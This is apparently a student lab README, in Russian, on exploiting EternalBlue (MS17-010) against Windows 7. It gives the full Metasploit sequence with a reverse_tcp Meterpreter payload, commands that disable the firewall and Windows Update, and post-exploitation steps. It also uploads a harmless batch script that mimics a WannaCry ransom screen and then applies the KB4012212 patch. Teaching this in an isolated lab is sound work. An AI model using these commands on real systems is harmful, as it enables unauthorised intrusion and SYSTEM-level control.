dannic145/eternalblue-exploit-demonstrationУчебная лаборатория, демонстрирующая эксплуатацию EternalBlue (MS17-010) против Windows 7 с использованием Metasploit, включая пост-эксплуатацию, симуляцию программы-вымогателя WannaCry и применение патча для устранения уязвимости в изолированной среде.
Кибербезопасность-лабораторная работа, демонстрирующая эксплуатацию CVE-2017-0144 (EternalBlue) с использованием Metasploit против уязвимой системы Windows 7 и получение доступа уровня SYSTEM через Meterpreter.
Этот проект также имитирует атаку программы-вымогателя в стиле WannaCry (БЕЗОПАСНАЯ ДЕМО) и демонстрирует смягчение последствий с помощью обновления безопасности MS17-010.
Модуль: CSCM828 Уязвимости безопасности и тестирование на проникновение
Студенты:
Университет: Университет Суонси
MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
KB4012212 (Обновление безопасности Windows 7 x64)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212%20Windows%207%20x64
Kali Linux (Загрузка виртуальных машин)
https://www.kali.org/get-kali/#kali-virtual-machines
Windows 7 SP1 Home Premium English x64 (ISO)
https://archive.org/details/windows-7-home-prem-english
VMware Workstation Pro 17.6.4
https://www.vmware.com/products/desktop-hyper
Эта лабораторная работа демонстрирует:
⚠️ Эта лабораторная работа должна проводиться в полностью изолированной среде.
Выполните в командной строке от имени администратора:
netsh advfirewall set allprofiles state off
netstat -an | findstr :445
sc stop wuauserv
sc config wuauserv start= disabled
ping <victim-ip>
nmap -p 445 <victim-ip>
nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>
Ожидаемый результат:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <victim-ip>
set LHOST <attacker-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
meterpreter > getuid
Ожидаемый результат:
NT AUTHORITY\SYSTEM
sysinfo
getuid
ps
screenshot
shell
whoami
ipconfig
ps
migrate <explorer.exe PID>
cat > /tmp/wannacry64.bat << 'EOF'
@echo off
title WannaCryptor Demo - SAFE SIMULATION
color 0a
mode con: cols=80 lines=25
cls
setlocal enabledelayedexpansion
set id=%random%-%random%-%random%
set /a timeleft=60
:main
cls
echo ========================================================
echo WANNA DECRYPTOR 0.4 x64 (DEMO)
echo ========================================================
echo.
echo All files have been encrypted!
echo.
echo Send 0.25 BTC to:
echo 13AM4VWSEwlt4cLnoQNFfqJDwZ8m9dkVml
echo.
echo Personal ID: %id%
echo.
echo Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.
echo Initializing encryption...
timeout /t 2 >nul
for /l %%i in (1,1,20) do (
set /a percent=%%i*5
call :progress !percent!
timeout /t 1 >nul
)
goto countdown
:progress
set bar=
set /a blocks=%1/5
for /l %%b in (1,1,!blocks!) do set bar=!bar!#
cls
echo ========================================================
echo ENCRYPTING FILES...
echo ========================================================
echo.
echo Progress: [%bar%] %1%%
echo.
set /a randfile=%random% %% 5
if !randfile!==0 echo Encrypting: documents.docx
if !randfile!==1 echo Encrypting: photos.jpg
if !randfile!==2 echo Encrypting: database.sql
if !randfile!==3 echo Encrypting: backup.zip
if !randfile!==4 echo Encrypting: project.pptx
exit /b
:countdown
cls
:loop
cls
echo ========================================================
echo YOUR FILES ARE ENCRYPTED
echo ========================================================
echo.
echo Pay within the time limit or files will be lost!
echo.
echo Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.
if !timeleft! LEQ 0 goto end
set /a timeleft-=1
timeout /t 1 >nul
goto loop
:end
cls
echo ========================================================
echo TIME EXPIRED
echo ========================================================
echo.
echo Your files are permanently locked.
echo.
echo (This was a SAFE DEMO simulation)
echo.
echo ========================================================
pause
EOF
meterpreter > upload /tmp/wannacry64.bat C:\\Windows\\Temp\\wannacry64.bat
meterpreter > execute -f cmd.exe -a "/c start C:\Windows\Temp\wannacry64.bat"
.msuwusa.exe KB4012212-x64.msu /quiet /norestart
shutdown /r /t 0
systeminfo | findstr KB4012212
Ожидаемый результат:
nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>
Ожидаемый результат:
| Проблема | Решение |
|---|---|
| Эксплойт не срабатывает | Проверьте связность |
| Нет сеанса | Отключите брандмауэр |
| Сеанс завершается | Повторите попытку эксплойта |
| Не видно окна | Выполните миграцию в explorer.exe |
Этот проект выполняется:
Несанкционированное использование нарушает:
Эта лабораторная работа демонстрирует: